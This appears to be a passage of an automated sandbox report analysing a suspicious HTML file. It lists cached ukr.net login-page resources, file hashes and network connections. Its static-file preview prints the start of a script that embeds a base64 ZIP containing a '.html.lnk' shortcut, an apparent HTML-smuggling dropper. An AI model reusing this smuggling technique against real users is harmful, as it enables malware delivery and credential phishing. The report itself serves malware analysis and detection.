Preview:	wOF2..............7....U..........................P..R..t.`.....8.x.6.$..H..&.. ..f. ..,#.....J\|...:....5.P$t....T.(..pv1M..J_....Y...b.....!.,.....=.q...A[.Qj...{U.Y.~.`&#..tZLc..".qc..t.I8.............d.d...J..%F...F.%.("m..f..F......{.).%<..P..,....M[....z....,.....l.~en.RP.6.@%.....Pd...B...$.....K..o..R&.I8.....Kn../...p.(....:j.U.......U.:].4...T...f_Kj.0r..+...a.6!Z.q.T...........0H...$.)....BBP.r.R%....Z....Zm=..Fh.m....=.@...8..r.:..t.9.K.UMP.(.3.....k.Aii.9h.......a...j..G'G.#....X....o...." ..bLm..6.2.E0...=.a...`.;XU......c......!..=..;.1}.......m.9.s...613.D..2f....$........^..)._.-. ........z..D/7..ko...M..:..Q..2.......te..BZ..{.X... .W.;.6.U...M_......*......{C.Nw..k...v<......^':.z....G.....^..GR.P,.+.jw..O..O......C..;.....'.!.\;Ij#..g.7. 5..[.7{d81p2e-I.[N..(.P.#\|..ga.f..........)5..........7.=.5f...!.sj!.Y..u.....1....{'..!.G...(...8.K3....Uv....a..E..HQn..1.-u../w..+J..].....z.v.I.c.+..5_.........4.....K`.9.8.j..E..=3

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53473)
Category:	downloaded
Size (bytes):	53526
Entropy (8bit):	5.531654633777781
Encrypted:	false
SSDEEP:	768:FY8ZVYXVgG0i4nbKq6a6cEKEL8fQzWTcDsvw+LLkycRNVoZYuqDVdrw4jPzVAC6I:FYsVw14neq6a8PKSRAm/59PEyZ
MD5:	1E4FCDA955327300308BE41295095DCA
SHA1:	0685EE58D6FC138D37BC735B33440213C89313DD
SHA-256:	C2FFB280824AF6E7168DAC2C21022E1E260B501F7A31C6F826CF2CA0A2642DEA
SHA-512:	3F862F389474A66E9A70457867362A9AD66932EA5D071C5C2A27DF1100B1DBEF72CB2D5AF906D06B81745D585145018F23C46D0B0418D5CB93269F7EBFB95F8A
Malicious:	false
URL:	https://accounts.ukr.net/login/js/pow-worker-wasm.js?ab3ac7fc
Preview:	(()=>{var __webpack_modules__={2413:(module,__unused_webpack_exports,__webpack_require__)=>{var POW=function(POW){POW=POW\|\|{};var Module=POW,Module;Module\|\|(Module=(void 0!==POW?POW:null)\|\|{});var moduleOverrides={};for(var key in Module)Module.hasOwnProperty(key)&&(moduleOverrides[key]=Module[key]);var ENVIRONMENT_IS_WEB=!1,ENVIRONMENT_IS_WORKER=!1,ENVIRONMENT_IS_NODE=!1,ENVIRONMENT_IS_SHELL=!1,nodeFS,nodePath;if(Module.ENVIRONMENT)if("WEB"===Module.ENVIRONMENT)ENVIRONMENT_IS_WEB=!0;else if("WORKER"===Module.ENVIRONMENT)ENVIRONMENT_IS_WORKER=!0;else if("NODE"===Module.ENVIRONMENT)ENVIRONMENT_IS_NODE=!0;else{if("SHELL"!==Module.ENVIRONMENT)throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB\|WORKER\|NODE\|SHELL.");ENVIRONMENT_IS_SHELL=!0}else ENVIRONMENT_IS_WEB="object"==typeof window,ENVIRONMENT_IS_WORKER="function"==typeof importScripts,ENVIRONMENT_IS_NODE="object"==typeof process&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER,ENVIRONMENT_IS_SHEL

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5923), with no line terminators
Category:	downloaded
Size (bytes):	6278
Entropy (8bit):	5.805820301137889
Encrypted:	false
SSDEEP:	96:l9xBBcef3VxUNWLaV57ZkFqcDFdvKqiQw5sTq9DXrZ0VH601Fc1vuYftfJWpVc7Q:vTrkBZkFNvKqtTqSmum888
MD5:	96033C1C3E99371E7800C78651FF4411
SHA1:	E99CF414943D24257CC9FA0D2F75128BCF12BE80
SHA-256:	D004FF5927D0E86C4DBF301BA5938CFA66552CD42C2E472E67BDDA42E04D6848
SHA-512:	A21986F2D345B0016C83AA85E26F9FBDC6FF53DF18F48B0D8B4E8B7C2508932317F48E94D8F8CC7A9F4A13536555A995D2079450F9E64D3115A68FA87168909D
Malicious:	false
URL:	https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb
Preview:	<!DOCTYPE html><html><head lang="uk"><title>..... @ ukr.net - .......... .......... ..... . ...... .....</title><meta content="text/html; charset=utf-8" http-equiv="Content-Type"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=0"><meta name="description" content=".....@ukr.net - ....... . ....... ........., ......... .. e-mail ...... .. 50 .., ....... ........ . ........... ........ ... ..... . ........ ...... .... email .. ...... ukr.net."><meta name="theme-color" content="#669900"><meta property="x-lang" content="uk"><meta property="x-domain" content="ukr.net"><meta property="x-client-id" content="UqGeSNzaWtOnSS6i9Epb"><meta property="x-recovery-uri" content="/recovery?client_id=UqGeSNzaWtOnSS6i9Epb"><meta property="x-registration-uri" content="/regist

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	13537
Entropy (8bit):	4.693885941592362
Encrypted:	false
SSDEEP:	384:BinovdNJgR1NWuIZ/aYE2jFxpiJfNm2v7YXG:Baqi6IfNmo
MD5:	18E7E3207406EA74D521212CB83D7BF3
SHA1:	A0ECF85E75F499CD7B042FFB5EC5AA3861DE746F
SHA-256:	6AF383C7E44403F7265DCC9A2DDE573A6DF24956FB6CCAC756680E93A93FBD95
SHA-512:	8892E22B6C0C75DE43E22322AC36FF505B2252AE465B16F1A87925714143AF90717DF4D7D74E79EDA90B43118615EDB8F799990F3D08118F7508262667397C71
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-design-ece6269f.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h282.363a4 4 0 0 1 4 4v199.364H0V4a4 4 0 0 1 4-4"/><path id="e" d="M79.28 32.28h184.5a4 4 0 0 1 4 4v167.084H75.28V36.28a4 4 0 0 1 4-4"/><filter id="c" width="116.6%" height="118.7%" x="-8.3%" y="-8.2%"><feOffset dy="2" in="SourceAlpha" result="shadowOffsetOuter1"/><feGaussianBlur in="shadowOffsetOuter1" result="shadowBlurOuter1" stdDeviation="5"/><feColorMatrix in="shadowBlurOuter1" values="0 0 0 0 0.0509803922 0 0 0 0 0.0980392157 0 0 0 0 0.168627451 0 0 0 0.15 0"/></filter><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></defs><g fill="none" fill-rule="evenodd"><g transform="rotate(-179 269.31 70.954)"><circle cx="72.963" cy="73.212" r="56.5" fill="#afcff4"/><g stroke="#9ba1a9"><path d="M72.5 10C37.43 10 9 38.43 9 73.5S37.43 137 72.5 137 136 108.57 136 73.5M4.625 50.78a74.4 74.4 0 0 0-3.366 20.945m39.785 65.842a71.6 71.6 0 0 0

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	18445
Entropy (8bit):	4.057963672218815
Encrypted:	false
SSDEEP:	384:tExPaGDZijS/prM84wLhRRkqhp5P33+nXKgou/7X8GeesDiiLw0X:mxPNDZ2Sxg8LKYpBgX51/7XfOWiLw0
MD5:	F1B18A7B5958339ED58D30DF2628B5C7
SHA1:	0254F958D07B72D59C9C08EFC4FD726BE58CE249
SHA-256:	4802A705EB059618A85B60046EC68D2D3828512F9E569BBE29CD361B05EAEC28
SHA-512:	0508A991E8CB74304CADF9DA649DF80D7AEF9083646FFACC62D1B8537785BB143F87E398FBEF4B6378ABA67D65434FC680CAA2BAFB55362D616F83D47E128DBC
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g transform="translate(15 139)"><rect width="336" height="221" fill="#dfe1e9" rx="14"/><path fill="#f3f4f6" d="M15.481 21.194c3.043 0 5.51-2.506 5.51-5.597S18.524 10 15.48 10s-5.51 2.506-5.51 5.597 2.467 5.597 5.51 5.597m15.026 0c3.043 0 5.51-2.506 5.51-5.597S33.55 10 30.507 10s-5.51 2.506-5.51 5.597 2.468 5.597 5.51 5.597m15.027 0c3.043 0 5.51-2.506 5.51-5.597S48.576 10 45.533 10s-5.51 2.506-5.51 5.597 2.467 5.597 5.51 5.597"/><path fill="#f6f7f8" d="M11.709 30.984h313a4 4 0 0 1 4 4v171a8 8 0 0 1-8 8h-305a8 8 0 0 1-8-8v-171a4 4 0 0 1 4-4"/><path fill="#fff" d="M80.709 60.984h222a4 4 0 0 1 4 4v149h-230v-149a4 4 0 0 1 4-4m2.598-20.598h78a6.5 6.5 0 1 1 0 13h-78a6.5 6.5 0 0 1 0-13m-61.5 27h42a5 5 0 1 1 0 10h-42a5 5 0 0 1 0-10"/><path fill="#9ba1a9" fill-rule="nonzero" d="M86.209 144.984h54v-1h-54zM86.209 155.984h72v-1h-72z"/><path fill="#dfe1e9" d="M24.209 54.984a8.5 8.5 0 1 0 0-17 8.5 8.5

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	10286
Entropy (8bit):	4.280834010281303
Encrypted:	false
SSDEEP:	192:O8vG1hQVunoGVWRl6Rmu69mmJqWvdZV+6WFR8f4XMcnSM9:o1OMxul6gLmwq+ZV+/R8f4xnSM9
MD5:	E4BBFBB470A61FAA568E8DD7C881A5A2
SHA1:	83A52365062700BB50C07BFC9DFD325E382A906C
SHA-256:	041599B37C9A37419723825DE9DE30E27DE22C1A1FE0B456A181123EE37C2193
SHA-512:	A6B97B71D4C9C6685F3F1BF7E08504CB5230C45A66D8759B2AAEB429B1F5487206D0C668DEE2C7CC3F55FFC772B4613EBFCF2BB0B109DEC7246FF8D6A83A3EC4
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-2fa-02329941.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#d0d3d7" d="M255.735 181h94.673a3 3 0 0 1 2.952 3.535L338.605 266H237l14.8-81.713a4 4 0 0 1 3.935-3.287"/><path fill="#fff" d="M259.913 187h82.491a3 3 0 0 1 2.951 3.538L331.425 267H242l13.978-76.717a4 4 0 0 1 3.935-3.283"/><path fill="#d0d3d7" d="M179 265h160l-1.175 7H179z"/><g stroke="#9ba1a9"><path d="M180.208 444.231H6zM491.625 444.231h-94.042zM441.64 443.463l-20.589-159.067V272H99.048v12.396h299.32399999999996l29.818 147.27M594 444.231h-20.042z"/></g><path fill="#82af32" d="m293.643 190 .023.008.334.107.334-.107.023-.007.002.228 26.602 8.484c0 10.055.435 19.32-1.601 26.46q-6.334 22.199-25 30.513V256l-.361-.155-.359.155-.001-.314q-18.665-8.315-24.999-30.513c-2.036-7.14-1.6-16.405-1.6-26.46l26.6-8.483V190z"/><path fill="#fff" d="M295.423 227.684v4.267c0 .708-.558 1.282-1.247 1.282h-.352c-.689 0-1.247-.574-1.247-1.282v-4.267a3.27 3.27 0 0 1-1.723-3.234c.145-1.505 1.323-2.734

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 6532, version 3.1245
Category:	downloaded
Size (bytes):	6532
Entropy (8bit):	7.962995417239673
Encrypted:	false
SSDEEP:	192:wCShhieQcG0I9xfxA7trFJ6nb82/jpv+mq/dW:5ShhiLcufxAZFknY2MmV
MD5:	81F298BD63C529A2088864DC10D8AF5E
SHA1:	EBB80E643867E73C0984ED7FC36714B9193BE63F
SHA-256:	AD2BF3362DB6DAB5748FA1D99DA343C5D90A676992AF558E72971F709A7F7010
SHA-512:	25A6F5CD8EB951CD6D81ADD66543794E97D416C533BC00CDF523FFC429D58E01973E017CBA84B1A4D4A1470D706E92DDD9177C3EDC0B5BEC0C062C3C4F164932
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-medium-cyrillic-rEpTbtr3.woff2
Preview:	wOF2..............7@.../..........................P..R..t.`.....l.[.6.$..H..&.. ..X. .&-....Z. .......'.5^.b).MQ...efh^.bB;`..1X....z.{..79>Bc...U.2{...c.D..+.....x.....B.u......C...Jj..)r.u....z...gD.F.DZ......CD......(..CjD....E.....W{.w.P....e.bY..`i..........lk.'.I:.&...XG.G2P....X.@.)...t?\.[.:.D#d...x-P.}..W[nw.n.d...-...3......J.u.D=.@.....EE.....5].k{.....f.`..z....xB....yt":...x aM\6..`......v....=.DD$....w...n.?x....".DQ..... .1$%......20@ff.....!.....b.PV.......B.J..P.z.I3...6.....,A.6.-[.84...x.....n...........@..".....B. >=....(....A....."eE....B.e![..<.V..D.6Dp........r.[U..U..m;....U.R.A.V....xsL...... M....Nx\|..R.XK....i..E.ahm...K6j..h.)....w.4...Jm...s=i.<H.<......./w.......&.......?%.%Y..g....../...9.......{l.\|<.../...S.s ...y6..y.J1.Z.(..mBg....x6k".$......8%V...G.b.....x......:...W....,.......-3...1n..L-..>/...S...3{Z...oe.!s'..\....x.\.x......:.M..=..T.....E.....0.P..SM...M..i.k......5.\....R.....X....k./d..1

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	12470
Entropy (8bit):	4.110134377142729
Encrypted:	false
SSDEEP:	192:0nuhOjQb9cNw3MesxTo8QWrrS6BA14VRus1A4JC77h5n5O59cnjhlsYFWn/vK68G:1hOjQb9n3MesrhdAEAl7Lk9el+98LK
MD5:	2833FF6480F83BB80DFAD3F1C22EB869
SHA1:	4AA6BD74B33C9692EB15F8B69909D2F0A1A33D1C
SHA-256:	11EAE655AC5968217B3E42D9847B9C10B6516179F65439B0CDEC96195EEB016F
SHA-512:	A9767FA6E9E39D92835C716BAB1E389B5EFB7CF99F64AEA51402B06338B080F1B856BB2524519366887C35027916EF726938D0859DF172D21D1B93AB420418D7
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h262a4 4 0 0 1 4 4v185H0V4a4 4 0 0 1 4-4"/><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></defs><g fill="none" fill-rule="evenodd"><path fill="#dfe1e9" d="M116.839 224.463c0-6.088 5.372-11.023 12-11.023h274c6.627 0 12 4.935 12 11.023V416.44h30v8c0 5.523-4.477 10-10 10h-338c-5.523 0-10-4.477-10-10v-8h30z"/><path fill="#f3f4f6" d="M222.591 416.44h98.248a7 7 0 0 1-7 7h-96a7 7 0 0 1-7-7z"/><g transform="translate(130.839 227.44)"><use xlink:href="#a" fill="#f6f7f8"/><g fill="#eff0f3" mask="url(#b)"><path d="M2.74-151.44c21.259 0 38.493-16.118 38.493-36s-17.234-36-38.493-36c-21.26 0-38.493 16.117-38.493 36s17.234 36 38.493 36m251.394 357.392c31.657-11.011 69.535-37.457 70.08-80.524.152-12.05-.386-21.417-.408-28.944v-.931c.024-7.529.636-13.177 3.12-17.845 8.796-16.54 21.93-25.785 35.455-35.29l1.766-1.242c15.318-10.786 30.914-22.324

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4754
Entropy (8bit):	4.205290798030735
Encrypted:	false
SSDEEP:	96:bgS8Bnpj7j8RGvowCEbaZKmCu4My+dJ2ds3ZHyL:kSOnpj/8R0QZKBu/y+dJX3UL
MD5:	576B69A8D6151F7799F93BC3CF8C0778
SHA1:	6F7735559024A30BF759259B953A2518820B7B10
SHA-256:	340C176BCA46039AA36D58005C270FF86DCF69C8722436813C129971BCA06241
SHA-512:	FC424EA29C9B94D29E619630169EE675FB38E8DDC613526576EE72BABE00F495C24B60CB2C0A901E4697535D577340FE19E0F75363879D0E7CD43485245D9764
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="180" height="53.333"><path fill="#100f0d" d="M173.33 53.333H6.67c-3.667 0-6.666-3-6.666-6.667V6.669C.004 3 3.004 0 6.67 0h166.66c3.667 0 6.667 3 6.667 6.666v40c0 3.666-3 6.666-6.667 6.666"/><path fill="#a2a2a1" d="M173.33.001H6.67c-3.667 0-6.666 3-6.666 6.667v39.998c0 3.667 3 6.667 6.666 6.667h166.66c3.667 0 6.667-3 6.667-6.667V6.669c0-3.667-3-6.667-6.667-6.667zm0 1.066c3.088 0 5.6 2.513 5.6 5.6v40c0 3.087-2.512 5.6-5.6 5.6H6.67a5.606 5.606 0 0 1-5.6-5.6v-40c0-3.087 2.512-5.6 5.6-5.6z"/><path fill="#fff" d="M142.58 40h2.488V23.331h-2.488zm22.409-10.664-2.852 7.226h-.085l-2.96-7.226h-2.68l4.44 10.1-2.532 5.619h2.595l6.84-15.719zm-14.11 8.77c-.813 0-1.95-.407-1.95-1.415 0-1.286 1.415-1.78 2.637-1.78 1.093 0 1.609.236 2.273.558a3.016 3.016 0 0 1-2.96 2.638zm.301-9.135c-1.801 0-3.666.794-4.438 2.553l2.208.921c.472-.921 1.35-1.221 2.273-1.221 1.287 0 2.595.77 2.616 2.144v.171c-.45-.257-1.416-.643-2.595-.643-2.381 0-4.804 1.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	WebAssembly (wasm) binary module version 0x1 (MVP)
Category:	dropped
Size (bytes):	165703
Entropy (8bit):	6.587005410628575
Encrypted:	false
SSDEEP:	3072:KnvGRy1SHu7ud15pIqLH2IIEHnyiSLoH68iD1TM8Z3aYWQnhyehnFz47:6pCPIqLH2IImnyiSLoH68ihtKqhyehnK
MD5:	E0BC307C4DF5FFE99D901A7329A8766A
SHA1:	A3DC017FEC124D1F4AAFD47C2E353AF887E53ADA
SHA-256:	FC4772223A57EDB336C88A07B1D0C5762736E64DE0658A88E67A172063E697A8
SHA-512:	5FE60DFAE178527BAEDA25301A9D30723F0F4D99B2AEA97C10CC66349C4B240CCBFDDAB2A815CB427298B9AFD404EFAABBA240CB31B55B408CBC29359C76512F
Malicious:	false
Preview:	.asm........`........`...`.....`....`......`..`......`.......`.........`....`...`.~.~`.....`.....`..~..`.......`........`.~....`.~...`..\|......`.\|..\|`..........`.........`............. .env.DYNAMICTOP_PTR....env.STACKTOP....env.STACK_MAX....env.abort...env.enlargeMemory...env.getTotalMemory...env.abortOnCannotGrowMemory...env._llvm_bswap_i64...env.__embind_register_integer...env._abort...env.__embind_register_void...env.__embind_register_function...env.___setErrNo...env.__embind_register_std_wstring...env._emscripten_memcpy_big...env.__embind_register_bool...env.__embind_register_std_string...env.__embind_register_emval...env.__embind_register_memory_view...env.__embind_register_float...env.___syscall54...env.___unlock...env.___lock...env.___syscall6...env._time...env.___syscall140...env.___syscall146...env._llvm_bswap_i64...env.memory.......env.table.p......env.memoryBase....env.tableBase..................................................................................................

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	5.917962416527031
Encrypted:	false
SSDEEP:	24:KwK83oSdY6TbapMSrORL4I4xITjka1wqQwnTDjFily6tN125Ov9:RK+oOnvAOqLMj71wqQwnTM06L9
MD5:	D2F9D7A93B342ED873B83EF890009FD3
SHA1:	4EFDC0D7ED4E03719B27A16B80675D5CC3D98C08
SHA-256:	98E7B565107CEC0DE9C9F0D02EC8FA9A34C02033711BB8BE86B64D830F69BE38
SHA-512:	52967761AD27110A4CCF9C8D96966C198D006E19406188A637DC48E5B328F03C9A15E41D45DC535E17BBEC66A8B99CF9D768C9D220FF6FEEB6ED40D08A6EF56B
Malicious:	false
URL:	https://accounts.ukr.net/login/favicon.ico
Preview:	............ .h.......(....... ..... .........................O..N..L..K..J..H..G..E..D..B...A...?...=...=...;...8...N..O..M..L..K..I..H..E..D..C...A...@...>...=...;...:...M..N..N..M..K..J..H..G..E..C...B...A...?...>...<...4...F...G...O..M..L..K..I..G..F..E..C...A...@...>...'.\|...l.J...G...A...J..L..K..J..G..G..E..C...B...6.....r...l...l.J...H...F...A...B...K..J..I..G..F..B...'.....n...n...m...l.J...H...G...D...k.......x..I..H..q......E.....o...n...m...l.J...H...P...........................................t...m...l.J...l...................................................G.....l.*.m...........................................................]..~W..................................................~W.!oN'........................................................!oN'II7........................................................II7.UU9....L.................................................:UU9.....@@@....+...W...ei...U...U...U...U...h.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 6172, version 3.1245
Category:	downloaded
Size (bytes):	6172
Entropy (8bit):	7.956731598777391
Encrypted:	false
SSDEEP:	192:lMMvB2CUwrHGQ7t7O4/bSKxKCvgUFCctCiuGBEVib:ZvB2irHG+K4D6CvgfOEVib
MD5:	0480429E50919E1FFC6F6600DD8F66CD
SHA1:	93ED8C49F4A1DEE8150557416C6DDC010B5C5CA1
SHA-256:	97852B83E5FBA99C454F37F9DCA400E15CDF75F1BF8269F288616EB5E48CAE39
SHA-512:	CC05766BC96885420ECC8FC0458C567AD5C313FBB4B79ED6477BCB9C550A649928910D2251509756C6D28CD673E34541D333E7432875638D7682FC67E4F5234B
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-regular-cyrillic-gDZy7y86.woff2
Preview:	wOF2..............6h..............................P.....t.`.....D...6.$..H..&.. ..h. ."-..u.8.H8....:..C.}.Ut..L.V..NKo}B...Y':)_...k.\7..vn..?n......qx...d..?G.N..%M?..S(.....e<...._.......!.r.Av....Kw.f.z:e......>..%.......^.H. .4...4.~.....]....^Li..d.s..'h..~.......E..%S.TX..YQcJ.\|h?._...%.&[...o.vg,..V.........PK..._D.7..B..$.k..+..F2...n..#..4......P....SS2..zs..V.M.@......J.5..=..`......._[U.]].{.a....U...< Ra.I....%.Q6JE.....)..P...u.y....o1......a.##!$......x.\..D.C8..h...b`D.,...q. >>$(.DD.T.H..$O..W..E.#..j.H.:.E;......Gf.!.6.-;.l.9t.\.".q.<xA.l.j...s..e...#.$:hX.M..X..m.A.4.Q.F.Q#Z.f"F.a..fX!..`5.`..F.&....c:F..zDD...k$kwa.Lv....S.Q....t.7m.....W.xu...<J..X...Xl...(....Eiu,(.N...cA..9...G.@.3U..h...i....-[/"-b...)tV....7-.....S46.b^...G...V.vQA0..V.9A.....O.w~ ...~.6..E.[X.EN+Qc...s..J..].E.h#/...S...m../xq..j'..4!\..=....../x..H..?.....H.e.u^... v...Za. w.A...i........u.......,\|\.......?....(........I.x..'...).x..J..r=.R...b>.:E.&.-..1m.f.SM.

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (2215)
Entropy (8bit):	5.885065905862636
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	g3Wg5cdIcT.html
File size:	3'125 bytes
MD5:	e839a71f05316103f6ffdf1916173a95
SHA1:	4016963fcc0b2a65afaa80e9058289ca020139e6
SHA256:	5eb234197e492e5377ef7b31274ca12d19ebea70b8832e4883be06eaa06e379f
SHA512:	cd0bfde0ab8c74a929647e98b18e3d19233e4abb7a0c31c1240284873038c5386671341a062c228400ed4850ee70566a0560c9eef56ddfde4d8135c176f489d2
SSDEEP:	48:oIOVZpuS8ymX9LsnK094UMIpWuSrAZlSN3o4IKB1mTuKhO6+7E9:+uAULsKjUMIkdAZV4Ii1ehONg9
TLSH:	FB51083C1C5A8666BB073146AA3FD48B4DA098471700D09A726DEE815FF9F229BCB4D8
File Content Preview:	<html>. <body>. <script>. function dbac(filename) {. const content = "UEsDBBQACAAIAM6oSFkAAAAAAAAAAJsIAAATACAANzQ4LTkyOS0yNC5odG1sLmxua1VUDQAHlWYFZ7VmBWe/ZgVndXgLAAEE6QMAAATpAwAAjVU/c+O4FccmmbmUV2wmuSosNPF57ixRlLk2rXFhU

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:48:44.510958910 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:44.510967016 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:44.698982954 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:51.460361004 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:51.460416079 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:51.460500956 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:51.460710049 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:51.460720062 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.581316948 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.638712883 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.638746977 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.640005112 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.640022039 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.640091896 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.728816032 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.728951931 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.733680964 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.733730078 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.733777046 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.737749100 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.737762928 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.743757010 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.743773937 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.851919889 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.994390965 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.994457960 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:52.994476080 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.994494915 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:52.994558096 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:53.019938946 CEST	49707	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:53.019965887 CEST	443	49707	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:53.035309076 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.035362959 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.035434008 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.036848068 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.036864042 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.576694965 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:53.577146053 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:53.577177048 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:53.578324080 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:53.578838110 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:53.579020023 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:48:53.674529076 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:48:53.902189970 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.902996063 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.903031111 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.904083014 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.904139042 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.908396959 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.908483028 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.909830093 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:53.909837961 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:53.952436924 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:54.148834944 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:54.162987947 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:48:54.167128086 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:54.167212963 CEST	443	49712	212.42.75.253	192.168.2.5
Oct 26, 2024 13:48:54.167284966 CEST	49712	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:48:54.182519913 CEST	49712	443	192.168.2.5	212.42.75.253
